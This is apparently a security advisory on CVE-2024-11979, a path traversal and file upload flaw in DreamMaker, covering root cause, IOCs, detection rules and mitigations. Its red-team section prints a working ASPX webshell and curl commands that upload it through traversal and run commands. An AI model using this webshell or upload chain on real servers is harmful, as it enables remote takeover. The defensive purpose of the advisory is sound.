CVE-2024-11979

Executive Summary

CVE-2024-11979 is a critical unauthenticated Path Traversal and unrestricted file upload vulnerability in Interinfo's DreamMaker application. The vulnerability allows a remote attacker to traverse directories and upload arbitrary files (including webshells) to any location on the server, leading to full remote code execution (RCE). With a CVSS score of 9.8, this vulnerability poses an extreme risk to any exposed instance. No patch has been released by the vendor, and no public proof-of-concept (PoC) or exploit code is currently available. Immediate mitigation actions are required.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary application (DreamMaker by Interinfo). Supply chain risk is limited to the vendor's software distribution channels.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and successful exploitation grants full control over the affected server.

Deep Dive & Mechanics

The vulnerability resides in DreamMaker's file upload functionality. The application fails to properly sanitize user-supplied file paths and does not restrict the types of files that can be uploaded. An attacker can craft a request containing path traversal sequences (e.g., ../) to write files outside the intended upload directory. By uploading a webshell (e.g., a PHP or ASP file), the attacker can execute arbitrary commands on the server.

Root Cause:

1. Path Traversal (CWE-22): The application does not validate or sanitize the filename parameter in the upload request, allowing directory traversal.
2. Unrestricted File Upload (CWE-434): The application does not check the file extension or MIME type, allowing executable files to be uploaded.

Attack Flow:

1. Attacker sends a POST request to the vulnerable upload endpoint.
2. The request includes a filename like ../../../../inetpub/wwwroot/shell.aspx.
3. The server writes the file to the specified path.
4. Attacker accesses the uploaded webshell via HTTP and executes arbitrary commands.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. The vulnerable code likely resembles:

// VULNERABLE CODE (Conceptual)
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);

A patched version would:

• Validate the file path to prevent traversal (e.g., realpath() and check prefix).
• Restrict file extensions to safe types (e.g., images only).
• Use a random filename and store files outside the web root.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable DreamMaker instance (e.g., using a Docker container or a test VM).
2. Identify the upload endpoint (e.g., /upload.php or /api/upload).

Exploitation Steps:

1. Craft a webshell (e.g., cmd.aspx):

   <%@ Page Language="C#" %>
   <%
   if (Request.QueryString["cmd"] != null) {
       System.Diagnostics.Process.Start("cmd.exe", "/c " + Request.QueryString["cmd"]);
   }
   %>
   

2. Upload the webshell using a path traversal payload:

   curl -X POST -F "file=@cmd.aspx;filename=../../../../inetpub/wwwroot/cmd.aspx" http://target.com/upload.php
   

3. Execute commands:

   curl http://target.com/cmd.aspx?cmd=whoami
   

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests containing path traversal sequences (../, %2e%2e%2f) in file upload parameters.
• Alert on uploads of executable file extensions (.aspx, .php, .jsp, .exe, .sh).
• Use WAF rules to block path traversal and restrict file types.

Hunting:

• Search for unexpected files in web-accessible directories (e.g., shell.aspx, cmd.php).
• Review web server logs for POST requests to upload endpoints with suspicious filenames.

Indicators of Compromise (IOCs)

• File Artifacts:
  • Webshell files in unexpected directories (e.g., shell.aspx, cmd.php, backdoor.jsp).
  • Files with double extensions (e.g., image.php.jpg).
• Network Indicators:
  • HTTP POST requests to /upload.php or similar endpoints with filename parameters containing ../.
  • Outbound connections from the web server to unknown IPs (C2 traffic).
• Log Entries:
  • Web server logs showing 200 responses to uploaded webshells.
  • System logs showing execution of cmd.exe or /bin/sh from the web server process.

Detection Engineering

YARA Rule

rule CVE_2024_11979_DreamMaker_Webshell {
    meta:
        description = "Detects webshells uploaded via CVE-2024-11979"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11979"
    strings:
        $asp_webshell = "<%@ Page Language=\"C#\" %>" ascii wide nocase
        $php_webshell = "<?php" ascii wide nocase
        $cmd_exec = "cmd.exe" ascii wide nocase
        $shell_exec = "/bin/sh" ascii wide nocase
    condition:
        any of ($asp_webshell, $php_webshell) and any of ($cmd_exec, $shell_exec)
}

Sigma Rule

title: CVE-2024-11979 DreamMaker Path Traversal Upload
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in file upload requests to DreamMaker
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload.php'
        cs-uri-query|contains: 
            - '..'
            - '%2e%2e'
            - '..%2f'
    condition: selection
falsepositives:
    - Legitimate use of dots in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11979 DreamMaker Path Traversal Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload.php"; http_uri; content:".."; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any exposed DreamMaker instances from the internet.
2. Apply WAF rules to block path traversal sequences and restrict file uploads to safe types (e.g., images only).
3. Monitor for signs of compromise (webshells, unexpected processes).

Long-term Fix:

• Contact Interinfo for an official patch.
• If source code is available, implement proper input validation:
  • Use realpath() to resolve the target path and ensure it starts with the intended upload directory.
  • Restrict file extensions to a whitelist (e.g., .jpg, .png, .gif).
  • Store uploaded files outside the web root and serve them via a script that enforces access controls.

Workaround:

• Disable the file upload functionality entirely if not required.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst